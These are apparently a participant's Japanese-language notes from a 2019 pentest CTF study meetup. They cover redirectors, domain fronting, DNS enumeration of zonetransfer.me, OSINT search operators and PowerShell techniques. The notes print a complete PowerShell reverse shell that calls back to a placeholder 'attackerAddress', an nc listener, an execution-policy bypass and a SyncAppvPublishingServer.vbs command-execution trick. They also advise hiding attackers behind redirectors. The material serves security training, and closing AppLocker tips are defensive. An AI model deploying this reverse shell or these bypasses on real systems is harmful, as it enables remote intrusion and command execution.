浪速セキュリティ2019 参加記録
Table of Contents
2019/12/29(日)に開催された浪速セキュリティ勉強会#04 #05:ペンテストCTFで学ぶサイバーセキュリティ(12月29日)に参加した際の参加記録。
基礎知識
- 今回は実際に攻撃するまでの偵察がメイン
nc -lvnp 80
でlisten
redirector
- targetとattackerの間に配置して, targetと直接通信するサーバ
- これ自身を調べても本体はいない
- 自分たちの安全を保証するために挟むのが一般的
- ペンテストやレッドチームもこういったところまでやる必要がある
- 目的
- 自分たちをtargetから隠す
- redirectorをtakedownされても別のredirectorを立てればよい
DNSの調査
domain fronting
- HTTPS接続のドメインを難読化(解析困難化)することによってインターネットの検閲やブロッキングを回避する手法
- 例えば、CDNのサーバーにリフレクションサーバーを紛れ込ます手法などかある
- 最近はreputationで判断しているので, false positiveがある
DNSの調査(DNS Enumeration)
-
targetのname serverの探索
-
zonetransfer.meは脆弱なやられサーバ的な感じ
-
nsレコードをもらってくる
host -t ns {targetip}
~# host -t ns zonetransfer.me
zonetransfer.me name server nsztm1.digi.ninja.
zonetransfer.me name server nsztm2.digi.ninja.
- mxレコードをもらってくる
host -t mx {targetip}
# host -t mx zonetransfer.me
zonetransfer.me mail is handled by 0 ASPMX.L.GOOGLE.COM.
zonetransfer.me mail is handled by 10 ALT2.ASPMX.L.GOOGLE.COM.
zonetransfer.me mail is handled by 20 ASPMX4.GOOGLEMAIL.COM.
zonetransfer.me mail is handled by 10 ALT1.ASPMX.L.GOOGLE.COM.
zonetransfer.me mail is handled by 20 ASPMX5.GOOGLEMAIL.COM.
zonetransfer.me mail is handled by 20 ASPMX3.GOOGLEMAIL.COM.
zonetransfer.me mail is handled by 20 ASPMX2.GOOGLEMAIL.COM.
- 相手はメールをgmailの管理サーバを使っていることがわかる
- -> 標的型攻撃をする場合, googleの持っている機能はscanされてしまうこともわかる
- -> malwareを作って添付しても, そもそも相手に着弾しない可能性がある
- -> 着弾するかしないかは, 自分でgoogleのメールサーバを使って確認することができる
- これは他のメールサービスでも同様
DNS Lookup
- 存在しそうなホスト名にDNSパケットを飛ばして確認する手法
for name in $(cat /usr/share/dnsenum/dns.txt); do
host ${name}. zonetransfer.me | grep "has address" | cut -d " " -f 1,4
done
Reverse DNS Lookup
- 1つ存在しているホスト名を見つけ, 存在しているホスト名の近くを使っていると想定して上でBruteForceを試す手法
- 192.168.33.{brute force}
DNS Zone Transfer
- ゾーン転送情報取得を用いて確認する手法
- dig axfr @… addr
内部のサーバのレコードを見る
- サーバ証明書を発行した時に発行した旨をDBに蓄積する
- これが改ざんされていないかを確認する仕組みがある
- このログサーバは公開されている
- 内部のサーバレコードが見れる
- 命名から中身が想定できる
- findomain
RedirectorとRedirectの違い
- redirectorは直接通信する
- redirectは挟んで通信するので遮断される可能性がある
OSINT
Google Search Operator
- GoogleGuide making searching even easier
- 空白はOR
-
は除外site:
filetype:
filetype:pdf
が便利
Twitter Search Operators
- Rules and filtering
geocode: 緯度,経度,距離km
- google hacking database
- 社内向け資料に連絡先があるなど
ReverseShell
PowerShell
- PowerShellでファイルを実行するにはExecutionPolicyを設定し直す必要がある
Set-ExecutionPolicy bypass`
start-process calc.exe
powershell.exe -executionpolicy bypass gen_calc.ps1
- ReverseShell用のCSharpCode
$client = New-Object System.Net.Sockets.TCPClient("attackerAddress",443);
$stream =$client.GetStream();
[byte[]]$bytes = 0..65535|%{0};
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;
$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);
$sendback =(iex $data 2>&1 | Out-String );
$sendback2 = $sendback + "PS " + (pwd).Path + "> ";
$sendbyte =([text.encoding]::ASCII).GetBytes($sendback2);
$stream.Write($sendbyte,0,$sendbyte.Length);
$stream.Flush()
};
$client.Close()
PowerShell without powershell.exe
- SyncAppvは仮想化モジュールの一部
- powershellのコマンドを受け付ける
C:\Windows\System32\SyncAppvPublishingServer.vbs "Break; start-process calc.exe"
- これでcalc.exeが立ち上がる
- lolbas(Living Off The Land Binaries and Scripts)
- 現地調達型バイナリ(実行ファイル)
- Web: Living Off The Land Binaries and Scripts (and also Libraries)
- GitHub
- ここで対象になっている107個のアプリケーションはチェック対象にすることが求められる
Restricting PowerShell
- applocker
- ブラックリスト管理をするのが良い
- 最初に全て許可してからダメなものをブラックリストに入れる
- apploockerのbypass
- powershellを動かせる
- 対策として, InstallUtil.exeをapplockerに入れる
- その際に, 過去の実行ログをみて, 使われていない場合は良いかもしれない
- だいたい使われているので, それらを使っているcallerをホワイトリスト管理するとよい